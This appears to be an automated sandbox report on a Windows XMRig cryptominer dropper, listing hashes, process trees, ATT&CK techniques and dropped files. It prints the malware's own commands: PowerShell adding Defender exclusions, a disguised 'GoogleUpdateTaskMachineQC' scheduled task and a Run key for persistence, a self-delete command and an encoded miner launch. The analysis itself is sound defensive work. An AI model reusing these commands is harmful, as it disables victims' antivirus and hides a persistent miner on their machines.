xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
443s
max time network
1801s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1340 created 1224	1340	Gu3PdXt79NF7EJXJ.exe	17
PID 1340 created 1224	1340	Gu3PdXt79NF7EJXJ.exe	17
PID 1340 created 1224	1340	Gu3PdXt79NF7EJXJ.exe	17
PID 1340 created 1224	1340	Gu3PdXt79NF7EJXJ.exe	17
PID 3064 created 1224	3064	updater.exe	17
PID 3064 created 1224	3064	updater.exe	17
PID 3064 created 1224	3064	updater.exe	17
PID 3064 created 1224	3064	updater.exe	17
PID 664 created 1224	664	conhost.exe	17
PID 3064 created 1224	3064	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral13/memory/2948-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/2948-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2872	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3064	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2028	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/2948-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/2948-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 664	3064	updater.exe	53
PID 3064 set thread context of 2948	3064	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	Gu3PdXt79NF7EJXJ.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2916	schtasks.exe
764	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1716	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a017656ae250da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1340	Gu3PdXt79NF7EJXJ.exe
1340	Gu3PdXt79NF7EJXJ.exe
2340	powershell.exe
1340	Gu3PdXt79NF7EJXJ.exe
1340	Gu3PdXt79NF7EJXJ.exe
2092	powershell.exe
1340	Gu3PdXt79NF7EJXJ.exe
1340	Gu3PdXt79NF7EJXJ.exe
1340	Gu3PdXt79NF7EJXJ.exe
1340	Gu3PdXt79NF7EJXJ.exe
2724	powershell.exe
3064	updater.exe
3064	updater.exe
2708	powershell.exe
3064	updater.exe
3064	updater.exe
2496	powershell.exe
3064	updater.exe
3064	updater.exe
3064	updater.exe
3064	updater.exe
664	conhost.exe
664	conhost.exe
3064	updater.exe
3064	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	3064	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1716	WMIC.exe
Token: SeSecurityPrivilege	1716	WMIC.exe
Token: SeTakeOwnershipPrivilege	1716	WMIC.exe
Token: SeLoadDriverPrivilege	1716	WMIC.exe
Token: SeSystemtimePrivilege	1716	WMIC.exe
Token: SeBackupPrivilege	1716	WMIC.exe
Token: SeRestorePrivilege	1716	WMIC.exe
Token: SeShutdownPrivilege	1716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1716	WMIC.exe
Token: SeUndockPrivilege	1716	WMIC.exe
Token: SeManageVolumePrivilege	1716	WMIC.exe
Token: SeLockMemoryPrivilege	2948	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 2916	2092	powershell.exe	32
PID 2092 wrote to memory of 2916	2092	powershell.exe	32
PID 2092 wrote to memory of 2916	2092	powershell.exe	32
PID 2872 wrote to memory of 2676	2872	cmd.exe	33
PID 2872 wrote to memory of 2676	2872	cmd.exe	33
PID 2872 wrote to memory of 2676	2872	cmd.exe	33
PID 2724 wrote to memory of 2220	2724	powershell.exe	40
PID 2724 wrote to memory of 2220	2724	powershell.exe	40
PID 2724 wrote to memory of 2220	2724	powershell.exe	40
PID 2028 wrote to memory of 3064	2028	taskeng.exe	39
PID 2028 wrote to memory of 3064	2028	taskeng.exe	39
PID 2028 wrote to memory of 3064	2028	taskeng.exe	39
PID 2496 wrote to memory of 764	2496	powershell.exe	45
PID 2496 wrote to memory of 764	2496	powershell.exe	45
PID 2496 wrote to memory of 764	2496	powershell.exe	45
PID 3064 wrote to memory of 664	3064	updater.exe	53
PID 2120 wrote to memory of 1716	2120	cmd.exe	48
PID 2120 wrote to memory of 1716	2120	cmd.exe	48
PID 2120 wrote to memory of 1716	2120	cmd.exe	48
PID 3064 wrote to memory of 2948	3064	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1340

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2916
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:764
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2948
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1588
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2120
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:664

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2676

C:\Windows\system32\taskeng.exe
taskeng.exe {456DC522-AA22-4B2A-BF72-FA5FD44D771C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3064

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
578KB

MD5
b3f11931a346b49e6bcd43ab74771e84

SHA1
75ab2cd180b4f5d201b5b3fef92435ae0f7802aa

SHA256
f9bc8c8d8759041c1d9a2799202b5f779cda0d574dedb2860136a7e1c248d63e

SHA512
4db18b0f0586b521758b1980c55a4f9b2bceab1a3fc5c20e30150e63f45e766290c53c5ea688a08e41062b3358bb5d8329be1aef9360b2ec5c0dbb3f1c095d25

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
238KB

MD5
ecb5088b12c477b6cc0e2d4d5c78b9f1

SHA1
959fb3622127541bf2102823c3ede4dd36c15de3

SHA256
14a0104da1f8a53ed62632077ca3999f55e8c49c64e1dba4443491a47079c3d2

SHA512
8af5c55385a53f0afbeb12518a31aa859ff0ece68621ff06b737108fe65ffe5dc85912fdf670ebe081152ce28222043d716be3a578ebf835ae30bf99371b59f1

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1IYBA842BTMEEGLP8NZD.temp

Filesize
7KB

MD5
0f75c07336422c17798977d291ace3b8

SHA1
63603a94aca8f3f58e622fd432f1906ceaf58b5d

SHA256
f310b0b8979f1bad93e0e4e012d55de511ca1402e580ac6d36e67f0dd85a26e6

SHA512
1065d05ce1b20063d7b5c02233e94b5c1fe6897f75f9555f95e734d648d1888c57b9b9de49d0f6808339479fa725d8eb0e063d4dc293b89fc0dbcd4f31596b59

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
501KB

MD5
1d63821af6bdef3729c95c91ddce8c46

SHA1
9503bc92a5f2c579784761c2bde57f6204f70c12

SHA256
a769bee9bd5784c8f6303ef1756386daa2f24ff0e22e471fc6146639d11ff769

SHA512
9f14060259ed9b717e4d9859bd1f107c23716b46c40a620fd11d6b3ecc5d15524cce37c5e379cd8441ddb79fcb306f437c8fb060188f81212976982a18057db5

Download Submit
memory/664-69-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/664-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1340-28-0x000000013FAD0000-0x000000013FCE1000-memory.dmp

Filesize
2.1MB

Download
memory/1340-0-0x000000013FAD0000-0x000000013FCE1000-memory.dmp

Filesize
2.1MB

Download
memory/2092-23-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2092-26-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2092-21-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2092-22-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2092-18-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/2092-20-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2092-19-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download
memory/2092-24-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2092-25-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2340-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2340-8-0x0000000002BC0000-0x0000000002C40000-memory.dmp

Filesize
512KB

Download
memory/2340-12-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2340-10-0x0000000002BC0000-0x0000000002C40000-memory.dmp

Filesize
512KB

Download
memory/2340-11-0x0000000002BC0000-0x0000000002C40000-memory.dmp

Filesize
512KB

Download
memory/2340-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2340-9-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2340-7-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-55-0x0000000000E10000-0x0000000000E90000-memory.dmp

Filesize
512KB

Download
memory/2496-56-0x0000000000E10000-0x0000000000E90000-memory.dmp

Filesize
512KB

Download
memory/2496-54-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-57-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-53-0x0000000000E10000-0x0000000000E90000-memory.dmp

Filesize
512KB

Download
memory/2496-52-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-46-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2708-48-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2708-50-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2708-51-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-49-0x0000000001320000-0x00000000013A0000-memory.dmp

Filesize
512KB

Download
memory/2708-47-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2708-45-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2724-34-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-38-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-36-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2724-40-0x000007FEF57B0000-0x000007FEF614D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-35-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2724-37-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2724-39-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2948-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-67-0x0000000000380000-0x00000000003A0000-memory.dmp

Filesize
128KB

Download
memory/2948-68-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2948-65-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/2948-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-73-0x0000000000380000-0x00000000003A0000-memory.dmp

Filesize
128KB

Download
memory/2948-74-0x0000000000820000-0x0000000000840000-memory.dmp

Filesize
128KB

Download
memory/2948-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2948-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
